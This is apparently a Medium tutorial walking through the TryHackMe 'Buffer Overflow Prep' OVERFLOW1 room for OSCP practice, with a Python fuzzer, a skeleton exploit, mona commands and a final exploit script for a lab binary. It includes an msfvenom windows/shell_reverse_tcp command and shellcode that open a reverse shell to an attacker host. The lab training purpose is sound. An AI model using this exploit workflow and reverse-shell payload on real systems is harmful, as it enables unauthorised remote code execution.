Learn Buffer Overflow for OSCP- TryHackMe

ZeusCybersec
InfoSec Write-ups
Published in
7 min readSep 5, 2021

--

(Room-OVERFLOW-1) Run our Immunity Debugger as Administrator and open the oscp.exe

Immunity Debugger — open oscp.exe

Click the red play button or we can go to Debug > Run. To check we can NC to target machine with port 1337.

nc <IP> 1337

Netcat to port 1337

Let’s configure our mona and set it to current directory.

!mona config -set workingfolder c:\\mona\\%p

Fuzzing

The following Python script can be modified and used to fuzz remote entry points to an application. It will send increasingly long buffer strings in the hope that one eventually crashes the application.

#!/usr/bin/env python3

import socket, time, sys

ip = "MACHINE_IP"

port = 1337
timeout = 5
prefix = "OVERFLOW1 "

string = prefix + "A" * 100

while True:
try:
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.settimeout(timeout)
s.connect((ip, port))
s.recv(1024)
print("Fuzzing with {} bytes".format(len(string) - len(prefix)))
s.send(bytes(string, "latin-1"))
s.recv(1024)
except:
print("Fuzzing crashed at {} bytes".format(len(string) - len(prefix)))
sys.exit(0)
string += 100 * "A"
time.sleep(1)

Let’s try to run fuzzer.py (get from the room) and see the results. Just check whether the IP inside the script is correct and make sure to run again the oscp.exe in Immunity Debugger before running the script.

Check that the EIP register has been overwritten by A’s (\x41). Make a note of any other registers that have either been overwritten, or are pointing to space in memory which has been overwritten.

If you can see it stop at 2000 bytes which means the offset would be in the range of 1900 to 2000 bytes.

Crash Replication & Controlling EIP

The following skeleton exploit code can be used for the rest of the buffer overflow exploit:

import socketip = "10.0.0.1"
port = 21
prefix = "" #this contains the command eg: OVERFLOW2 and a space at end
offset = 0
overflow = "A" * offset
retn = ""
padding = ""
payload = ""
postfix = ""
buffer = prefix + overflow + retn + padding + payload + postfixs = socket.socket(socket.AF_INET, socket.SOCK_STREAM)try:
s.connect((ip, port))
print("Sending evil buffer...")
s.send(buffer + "\\r\\n")
print("Done!")
except:
print("Could not connect.")

Using the buffer length which caused the crash, generate a unique buffer so we can determine the offset in the pattern which overwrites the EIP register, and the offset in the pattern to which other registers point.

Always Create a pattern that is 400 bytes larger than the crash buffer( 2400 in our case ) so that we can determine whether our shellcode can fit immediately. If the larger buffer doesn’t crash the application, use a pattern equal to the crash buffer length and slowly add more to the buffer to find space.

$ /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 2400

This creates the Payload…Now copy the payload and put it into the payload variable in exploit.py and try to run it. Also **the prefix variable will contain the command of the binary file followed by a space(eg: OVERFLOW2 )**The script should crash the oscp.exe server again. Try running the following mona command:

!mona findmsp -distance 2400

So look for the line said EIP contains normal pattern :SOMETHING (offset XXXX). So set our offset to the offset we found in the offset variable and set the retn variable to BBBB. Also remove the previous payload and keep it blank.

The script should look like this.

this is the Updated exploit.py script

Let’s run it again.

The EIP Register has been Overwritten

As we can see the EIP Register is Overwritten with BBBB or 42424242. So far everything went well. Now it’s time to look for those bad characters Use this mona command:

!mona bytearray -b "\\x00"

the location of the bytearray.bin file that is generated.

Now we need to generate a string of bad chars that is identical to the bytearray. Use the python script provided inside the room or you can use mine which I modified a little bit for the next step.

from __future__ import print_functionlistRem = "".split("\\\\x")
for x in range(1, 256):
if "{:02x}".format(x) not in listRem:
print("\\\\x" + "{:02x}".format(x), end='')
print()

So the output just updates it in the payload variable and it will look like this.

Updated exploit.py

Run the script and take note of the address to which the ESP register points.

ESP Register

Use it in the following mona command

!mona compare -f C:\\mona\\oscp\\bytearray.bin -a 0124FA18

Possible bad chars

So we found a list of possible bad chars 07 08 2e 2f a0 a1

Not all of these might be bad chars! Sometimes bad chars cause the next byte to get corrupted as well, or even affect the rest of the string. And after try and error, the sequence is like this.

Green Box means correct bad chars

We got the bad chars already so let’s generate a new bytearray in mona with updated bad chars we found.

!mona bytearray -b "\\x00\\x07\\x2e\\xa0"

Also, update the payload variable with a new generated bad chars using my modified script like this

from __future__ import print_functionlistRem = "\\\\x07\\\\x2e\\\\xa0".split("\\\\x")
for x in range(1, 256):
if "{:02x}".format(x) not in listRem:
print("\\\\x" + "{:02x}".format(x), end='')
print()

So let’s try to run it again and repeat the same process check ESP Register and use the mona commands and we will get this result.

Mona Commands

Repeat the bad char comparison until the results status returns “Unmodified”. This indicates that no more badchars exist.

Finding the Jump Point

Let’s find the jump point using the mona command again:

!mona jmp -r esp -cpb  "\\x00\\x07\\x2e\\xa0"

Choose the one that has many False and for this case, I choose the top one.

Find Jump Point

Update our retn variable with the new address and must be written backward (since the system is little-endian).

\\xaf\\x11\\x50\\x62

Time to create our msfvenom payload and update it in payload :)

msfvenom -p windows/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -b '\\x00\\x07\\x2e\\xa0' EXITFUNC=thread -f python -v payload**NOTE: replace file type(-f) to c in case python doesnt work!!!**

Also, don’t forget to add some padding.

padding = "\\x90" * 16

The final script should look like this.

ip = "IP"
port = 1337prefix = "OVERFLOW1 "
offset = 1978
overflow = "A" * offset
retn = "\\xaf\\x11\\x50\\x62"
padding = "\\x90" * 16
payload = b""
payload += b"\\xd9\\xcd\\xd9\\x74\\x24\\xf4\\x5d\\x29\\xc9\\xb1\\x52\\xba"
<PAYLOAD MORE>
postfix = ""buffer = prefix + overflow + retn + padding + payload + postfix

Give it a try! Overflow #1 is done :)

Finally we Got a shell !

UPDATE: As per the new syllabus of 2023, Buffer Over is not a Part of OSCP exam however it is still an important topic to know if you are in the field.

For practice, try out other rooms on TryHackMe like Brainstorm,Buffer Overflow Prep,Brainpan1,Gatekeeper. There are executables vulnerable to buffer overflow such as Vulnserver, WarFTP and SL Mail which you can download and use for further practice

Make sure to Follow me Here on Medium so that you Do Not miss any Important Cybersecurity Article which i shareZEUS

--

--

I am a Penetration Tester, Currently pursuing OSCP. Skilled in Network Pen-testing and Developing Security Tools using Python. YouTube-ZeusCybersec